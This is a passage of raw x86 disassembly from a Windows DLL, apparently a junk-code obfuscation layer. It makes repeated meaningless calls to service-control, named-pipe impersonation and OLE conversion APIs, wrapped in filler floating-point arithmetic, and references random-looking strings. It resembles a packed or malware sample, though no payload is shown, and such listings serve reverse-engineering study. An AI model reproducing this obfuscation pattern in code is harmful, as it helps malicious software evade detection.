call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp + 0x24], eax
cvttsd2si edx, qword [0x10053560]
push edx
sub esp, 0x18
mov ecx, esp
push 0x1004f95c
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xfffffff4
mov ecx, esp
push 0x1004f970
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
fstp qword [ebp - 0x3f8]
sub esp, 0x18
mov ecx, esp
push 0x1004f948
call fcn.10004510
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
add esp, 0x20
cvtsi2sd xmm0, eax
movsd qword [ebp - 0x1f8], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe60]
movsd xmm1, qword [ebp - 0x1f8]
divsd xmm0, xmm1
mulsd xmm0, qword [ebp - 0x3f8]
cvtsi2sd xmm1, dword [ebp + 0x24]
movsd qword [ebp - 0x458], xmm0
movsd xmm0, qword [0x10053568]
movsd qword [ebp - 0x228], xmm1
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
push 0
push 0x39a87d4
push 0x14368a3b
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarDateFromI4]
add esp, 0x2c
fstp qword [ebp - 0x208]
movsd xmm0, qword [ebp - 0x208]
movsd qword [ebp - 0x478], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarBoolFromDec]
mov ecx, eax
call fcn.1001c83f
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
movsd qword [ebp - 0x218], xmm0
call fcn.1001c83f
push 0x3968e124
sub esp, 8
movsd xmm1, qword [0x10053568]
movsd qword [esp], xmm1
movsd qword [ebp - 0x358], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromI1]
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1004fdf8]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x358]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x218]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x478]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x228]
mulsd xmm1, xmm0
mov edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
movsd qword [ebp - 0x258], xmm1
call fcn.1001c83f
sub esp, 8
movsd xmm1, qword [0x1004fe38]
movsd qword [esp], xmm1
movsd qword [ebp - 0x378], xmm0
call dword [sym.imp.OLEAUT32.dll_VectorFromBstr]
fstp qword [ebp - 0x368]
movsd xmm0, qword [ebp - 0x368]
movsd qword [ebp - 0x408], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, eax
call fcn.1001c83f
sub esp, 0x18
mov ecx, esp
push 0x1004f8ec
movsd qword [ebp - 0x238], xmm0
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe40]
movsd xmm1, qword [ebp - 0x238]
divsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x408]
divsd xmm0, xmm1
mulsd xmm0, qword [ebp - 0x248]
movsd xmm1, qword [ebp - 0x378]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1004ff40]
subsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x258]
addsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x458]
subsd xmm1, xmm0
movsd qword [0x10053568], xmm1
sub esp, 0x18
mov ecx, esp
push 0x1004f998
call fcn.10004510
sub esp, 0x18
mov ecx, esp
push 0x1004f9ac
call fcn.10004510
cvttsd2si ecx, qword [0x10053560]
movsd xmm0, qword [0x1004fdc0]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
movsd qword [ebp - 0xc4], xmm0
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
push 0x38ae2709
sub esp, 0x18
mov ecx, esp
push 0x1004f9b4
call fcn.10004460
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
add esp, 0x24
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
cvttsd2si edx, qword [0x10053588]
push edx
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
sub esp, 0x18
mov ecx, esp
push 0x1004f9c4
call fcn.10004460
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004f9d4
call fcn.10004460
cvttsd2si ecx, qword [0x10053560]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp + 0x1c], eax
cvttsd2si edx, qword [0x10053560]
push edx
sub esp, 0x18
mov ecx, esp
push 0x1004f9f0
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fa04
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
fstp qword [ebp - 0x388]
sub esp, 0x18
mov ecx, esp
push 0x1004f9dc
call fcn.10004510
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
add esp, 0x20
cvtsi2sd xmm0, eax
movsd qword [ebp - 0x268], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe60]
movsd xmm1, qword [ebp - 0x268]
divsd xmm0, xmm1
mulsd xmm0, qword [ebp - 0x388]
cvtsi2sd xmm1, dword [ebp + 0x1c]
movsd qword [ebp - 0xf4], xmm0
movsd xmm0, qword [0x10053568]
movsd qword [ebp - 0x298], xmm1
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
push 0
push 0x39a87d4
push 0x14368a3b
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarDateFromI4]
add esp, 0x2c
fstp qword [ebp - 0x278]
movsd xmm0, qword [ebp - 0x278]
movsd qword [ebp - 0x398], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarBoolFromDec]
mov ecx, eax
call fcn.1001c83f
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x58]
movsd qword [ebp - 0x288], xmm0
call fcn.1001c83f
push 0x3968e124
sub esp, 8
movsd xmm1, qword [0x10053568]
movsd qword [esp], xmm1
movsd qword [ebp - 0x418], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromI1]
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1004fdf8]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x418]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x288]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x398]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x298]
mulsd xmm1, xmm0
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x64]
movsd qword [ebp - 0xe4], xmm1
call fcn.1001c83f
sub esp, 8
movsd xmm1, qword [0x1004fe38]
movsd qword [esp], xmm1
movsd qword [ebp - 0xd4], xmm0
call dword [sym.imp.OLEAUT32.dll_VectorFromBstr]
fstp qword [ebp - 0x9c]
movsd xmm0, qword [ebp - 0x9c]
movsd qword [ebp - 0xb4], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, eax
call fcn.1001c83f
sub esp, 0x18
mov ecx, esp
push 0x1004f980
movsd qword [ebp - 0xa4], xmm0
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe40]
movsd xmm1, qword [ebp - 0xa4]
divsd xmm0, xmm1
movsd xmm1, qword [ebp - 0xb4]
divsd xmm0, xmm1
mulsd xmm0, qword [ebp - 0xc4]
movsd xmm1, qword [ebp - 0xd4]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1004fcf0]
subsd xmm1, xmm0
movsd xmm0, qword [ebp - 0xe4]
addsd xmm1, xmm0
movsd xmm0, qword [ebp - 0xf4]
subsd xmm1, xmm0
movsd qword [0x10053568], xmm1
sub esp, 0x18
mov ecx, esp
push 0x1004fa2c
call fcn.10004510
sub esp, 0x18
mov ecx, esp
push 0x1004fa40
call fcn.10004510
cvttsd2si ecx, qword [0x10053560]
movsd xmm0, qword [0x1004fdc0]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
movsd qword [ebp - 0x1a4], xmm0
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
push 0x38ae2709
sub esp, 0x18
mov ecx, esp
push 0x1004fa48
call fcn.10004460
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
add esp, 0x24
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edx
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
cvttsd2si edx, qword [0x10053588]
push edx
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
sub esp, 0x18
mov ecx, esp
push 0x1004fa58
call fcn.10004460
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fa68
call fcn.10004460
cvttsd2si ecx, qword [0x10053560]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp + 0x14], eax
cvttsd2si edx, qword [0x10053560]
push edx
sub esp, 0x18
mov ecx, esp
push 0x1004fa84
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fa98
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
fstp qword [ebp - 0x114]
sub esp, 0x18
mov ecx, esp
push 0x1004fa70
call fcn.10004510
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
add esp, 0x20
cvtsi2sd xmm0, eax
movsd qword [ebp - 0x104], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe60]
movsd xmm1, qword [ebp - 0x104]
divsd xmm0, xmm1
mulsd xmm0, qword [ebp - 0x114]
cvtsi2sd xmm1, dword [ebp + 0x14]
movsd qword [ebp - 0x1d4], xmm0
movsd xmm0, qword [0x10053568]
movsd qword [ebp - 0x164], xmm1
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
push 0
push 0x39a87d4
push 0x14368a3b
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarDateFromI4]
add esp, 0x2c
fstp qword [ebp - 0x124]
movsd xmm0, qword [ebp - 0x124]
movsd qword [ebp - 0x154], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarBoolFromDec]
mov ecx, eax
call fcn.1001c83f
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x70]
movsd qword [ebp - 0x144], xmm0
call fcn.1001c83f
push 0x3968e124
sub esp, 8
movsd xmm1, qword [0x10053568]
movsd qword [esp], xmm1
movsd qword [ebp - 0x134], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromI1]
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1004fdf8]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x134]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x144]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x154]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x164]
mulsd xmm1, xmm0
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x7c]
movsd qword [ebp - 0x1c4], xmm1
call fcn.1001c83f
sub esp, 8
movsd xmm1, qword [0x1004fe38]
movsd qword [esp], xmm1
movsd qword [ebp - 0x1b4], xmm0
call dword [sym.imp.OLEAUT32.dll_VectorFromBstr]
fstp qword [ebp - 0x174]
movsd xmm0, qword [ebp - 0x174]
movsd qword [ebp - 0x194], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, eax
call fcn.1001c83f
sub esp, 0x18
mov ecx, esp
push 0x1004fa14
movsd qword [ebp - 0x184], xmm0
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe40]
movsd xmm1, qword [ebp - 0x184]
divsd xmm0, xmm1
movsd xmm1, qword [ebp - 0x194]
divsd xmm0, xmm1
mulsd xmm0, qword [ebp - 0x1a4]
movsd xmm1, qword [ebp - 0x1b4]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1004ff78]
subsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x1c4]
addsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x1d4]
subsd xmm1, xmm0
movsd qword [0x10053560], xmm1
sub esp, 0x18
mov ecx, esp
push str.emeuyyaline
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe40]
movsd qword [ebp - 0x1e4], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x1e4]
divsd xmm1, xmm0
sub esp, 8
movsd xmm0, qword [0x1004fe38]
movsd qword [esp], xmm0
movsd qword [ebp - 0x1f0], xmm1
call dword [sym.imp.OLEAUT32.dll_VectorFromBstr]
fstp qword [ebp - 0x200]
movsd xmm0, qword [ebp - 0x1f0]
divsd xmm0, qword [ebp - 0x200]
sub esp, 0x18
mov ecx, esp
push str.ixfuuvuou
movsd qword [ebp - 0x210], xmm0
call fcn.10004510
sub esp, 0x18
mov ecx, esp
push 0x1004fad4
call fcn.10004510
cvttsd2si ecx, qword [0x10053560]
movsd xmm0, qword [0x1004fdc0]
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
movsd xmm1, qword [ebp - 0x210]
mulsd xmm1, xmm0
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
push 0x38ae2709
sub esp, 0x18
mov ecx, esp
push str.fyicmeauzosi
movsd qword [ebp - 0x220], xmm1
call fcn.10004460
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
add esp, 0x24
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x220]
mulsd xmm1, xmm0
movsd xmm0, qword [0x1004ff60]
subsd xmm0, xmm1
push 0x3968e124
sub esp, 8
movsd xmm1, qword [0x10053568]
movsd qword [esp], xmm1
movsd qword [ebp - 0x280], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromI1]
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1004fdf8]
divsd xmm1, xmm0
movsd xmm0, qword [0x10053560]
movsd qword [ebp - 0x230], xmm1
call fcn.1001c69f
push edx
push eax
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
cvttsd2si edx, qword [0x10053588]
push edx
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x230]
divsd xmm1, xmm0
movsd xmm0, qword [0x10053560]
movsd qword [ebp - 0x240], xmm1
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarBoolFromDec]
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x240]
mulsd xmm1, xmm0
movsd xmm0, qword [0x10053568]
movsd qword [ebp - 0x250], xmm1
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
push 0
push 0x39a87d4
push 0x14368a3b
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarDateFromI4]
add esp, 0x2c
fstp qword [ebp - 0x260]
movsd xmm0, qword [ebp - 0x250]
divsd xmm0, qword [ebp - 0x260]
sub esp, 0x18
mov ecx, esp
push str.haacsucilutytl
movsd qword [ebp - 0x270], xmm0
call fcn.10004460
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push str.Daksaux
call fcn.10004460
cvttsd2si ecx, qword [0x10053560]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x270]
mulsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x280]
addsd xmm0, xmm1
movsd qword [ebp - 0x2c0], xmm0
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x1004fe60]
sub esp, 0x18
mov ecx, esp
push str.ufcifebee
movsd qword [ebp - 0x290], xmm0
call fcn.10004510
sub esp, 8
movsd xmm0, qword [0x10053560]
movsd qword [esp], xmm0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
add esp, 0x20
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x290]
divsd xmm1, xmm0
cvttsd2si edx, qword [0x10053560]
push edx
sub esp, 0x18
mov ecx, esp
push str.Nefutyfi
movsd qword [ebp - 0x2a0], xmm1
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xfffffff4
mov ecx, esp
push str.mokeya
call fcn.10004510
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
fstp qword [ebp - 0x2b0]
movsd xmm0, qword [ebp - 0x2a0]
mulsd xmm0, qword [ebp - 0x2b0]
movsd xmm1, qword [ebp - 0x2c0]
subsd xmm1, xmm0
movsd qword [0x10053560], xmm1
jmp 0x10044e22
mov dword [ebp - 0x1e8], 0x10
movsd xmm0, qword [0x10053588]
ucomisd xmm0, qword [0x1004ffb0]
lahf
test ah, 0x44
jp 0x10045324
push 0
push 0x23c041b9
sub esp, 0x18
mov ecx, esp
push 0x1004fb3c
call fcn.10004460
push 0
push 0x1bc822e3
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
movsd xmm1, qword [0x1004fdd0]
divsd xmm1, xmm0
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
movsd qword [ebp - 0x2d0], xmm1
call dword [sym.imp.OLEAUT32.dll_VarDateFromI1]
fstp qword [ebp - 0x2e0]
movsd xmm0, qword [ebp - 0x2d0]
mulsd xmm0, qword [ebp - 0x2e0]
movsd xmm1, qword [0x1004fd48]
subsd xmm1, xmm0
movsd xmm0, qword [0x10053588]
movsd qword [ebp - 0x310], xmm1
call fcn.1001c69f
push edx
push eax
cvttsd2si edx, qword [0x10053560]
push edx
cvttsd2si eax, qword [0x10053560]
push eax
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
push edx
call dword [sym.imp.OLEAUT32.dll_VarDateFromI4]
add esp, 0x2c
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1004fd00]
divsd xmm1, xmm0
mov ecx, 0x41ca5df
movsd qword [ebp - 0x2f0], xmm1
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroyDescriptor]
fstp qword [ebp - 0x300]
movsd xmm0, qword [ebp - 0x2f0]
mulsd xmm0, qword [ebp - 0x300]
movsd xmm1, qword [ebp - 0x310]
subsd xmm1, xmm0
movsd xmm0, qword [0x10053568]
movsd qword [ebp - 0x360], xmm1
call fcn.1001c69f
push edx
push eax
push 0x2c11d93c
call dword [sym.imp.OLEAUT32.dll_VarDateFromI1]
add esp, 0xc
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004ff28]
divsd xmm1, xmm0
cvttsd2si eax, qword [0x10053560]
push eax
sub esp, 0x18
mov ecx, esp
push 0x1004fb4c
movsd qword [ebp - 0x320], xmm1
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
fstp qword [ebp - 0x330]
movsd xmm0, qword [ebp - 0x320]
mulsd xmm0, qword [ebp - 0x330]
movsd qword [ebp - 0x340], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarDateFromUI4]
add esp, 8
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x340]
divsd xmm1, xmm0
cvttsd2si esi, qword [0x10053588]
movsd xmm0, qword [0x10053560]
movsd qword [ebp - 0x350], xmm1
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fb60
call fcn.10004510
mov ecx, esi
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x350]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x360]
addsd xmm0, xmm1
movsd qword [0x10053560], xmm0
push 0
push 0x23c041b9
sub esp, 0x18
mov ecx, esp
push str.ixodcabjozgii
call fcn.10004460
push 0
push 0x1bc822e3
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
movsd xmm1, qword [0x1004fdd0]
divsd xmm1, xmm0
sub esp, 8
movsd xmm0, qword [0x10053588]
movsd qword [esp], xmm0
movsd qword [ebp - 0x370], xmm1
call dword [sym.imp.OLEAUT32.dll_VarDateFromI1]
fstp qword [ebp - 0x380]
movsd xmm0, qword [ebp - 0x370]
mulsd xmm0, qword [ebp - 0x380]
movsd xmm1, qword [0x1004fd38]
subsd xmm1, xmm0
movsd xmm0, qword [0x10053588]
movsd qword [ebp - 0x3b0], xmm1
call fcn.1001c69f
push edx
push eax
cvttsd2si edx, qword [0x10053560]
push edx
cvttsd2si eax, qword [0x10053560]
push eax
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
cvttsd2si edx, qword [0x10053560]
push edx
call dword [sym.imp.OLEAUT32.dll_VarDateFromI4]
add esp, 0x2c
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1004fd00]
divsd xmm1, xmm0
mov ecx, 0x41ca5df
movsd qword [ebp - 0x390], xmm1
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroyDescriptor]
fstp qword [ebp - 0x3a0]
movsd xmm0, qword [ebp - 0x390]
mulsd xmm0, qword [ebp - 0x3a0]
movsd xmm1, qword [ebp - 0x3b0]
subsd xmm1, xmm0
movsd xmm0, qword [0x10053568]
movsd qword [ebp - 0x400], xmm1
call fcn.1001c69f
push edx
push eax
push 0x2c11d93c
call dword [sym.imp.OLEAUT32.dll_VarDateFromI1]
add esp, 0xc
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004ff28]
divsd xmm1, xmm0
cvttsd2si eax, qword [0x10053560]
push eax
sub esp, 0x18
mov ecx, esp
push str.Igajiarb
movsd qword [ebp - 0x3c0], xmm1
call fcn.10004510
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001880
add esp, 0xc
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
fstp qword [ebp - 0x3d0]
movsd xmm0, qword [ebp - 0x3c0]
mulsd xmm0, qword [ebp - 0x3d0]
movsd qword [ebp - 0x3e0], xmm0
movsd xmm0, qword [0x10053588]
call fcn.1001c69f
push edx
push eax
call dword [sym.imp.OLEAUT32.dll_VarDateFromUI4]
add esp, 8
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [ebp - 0x3e0]
divsd xmm1, xmm0
cvttsd2si esi, qword [0x10053588]
movsd xmm0, qword [0x10053560]
movsd qword [ebp - 0x3f0], xmm1
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xc
movsd xmm0, qword [0x10053568]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 0xfffffff4
mov ecx, esp
push 0x1004fb8c
call fcn.10004510
mov ecx, esi
call dword [sym.imp.OLEAUT32.dll_LHashValOfNameSysA]
cvtsi2sd xmm0, eax
movsd xmm1, qword [ebp - 0x3f0]
divsd xmm1, xmm0
movsd xmm0, qword [ebp - 0x400]
addsd xmm0, xmm1
movsd qword [0x10053560], xmm0
lea ecx, [ebp + 0x44]
call fcn.10006dd0
sub eax, 1
mov dword [ebp + 0x5c], eax
jmp 0x1004533d
mov edx, dword [ebp + 0x5c]
sub edx, 1
mov dword [ebp + 0x5c], edx
cmp dword [ebp + 0x5c], 0
jl 0x10045924
movsd xmm0, qword [0x10053588]
ucomisd xmm0, qword [0x1004ffa8]
lahf
test ah, 0x44
jp 0x100458b1
push 0x21a7e495
push 0x2d3748cc
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
mov ecx, esp
push edx
push eax
push ecx
call fcn.10001900
add esp, 4
movsd xmm0, qword [0x1004fee8]
movsd qword [esp], xmm0
sub esp, 8
movsd xmm0, qword [0x1004ff10]
movsd qword [esp], xmm0
call dword [sym.imp.OLEAUT32.dll_VarR8FromUI2]
add esp, 0x30
mov ecx, eax
call fcn.1001c83f
movsd xmm1, qword [0x1004fd08]
divsd xmm1, xmm0
push 0
push 0xa60fa01
sub esp, 0x18
mov ecx, esp
push 0x1004fb94
movsd qword [ebp - 0x410], xmm1
call fcn.10004510
movsd xmm0, qword [0x10053560]
call fcn.1001c69f
sub esp, 0x18
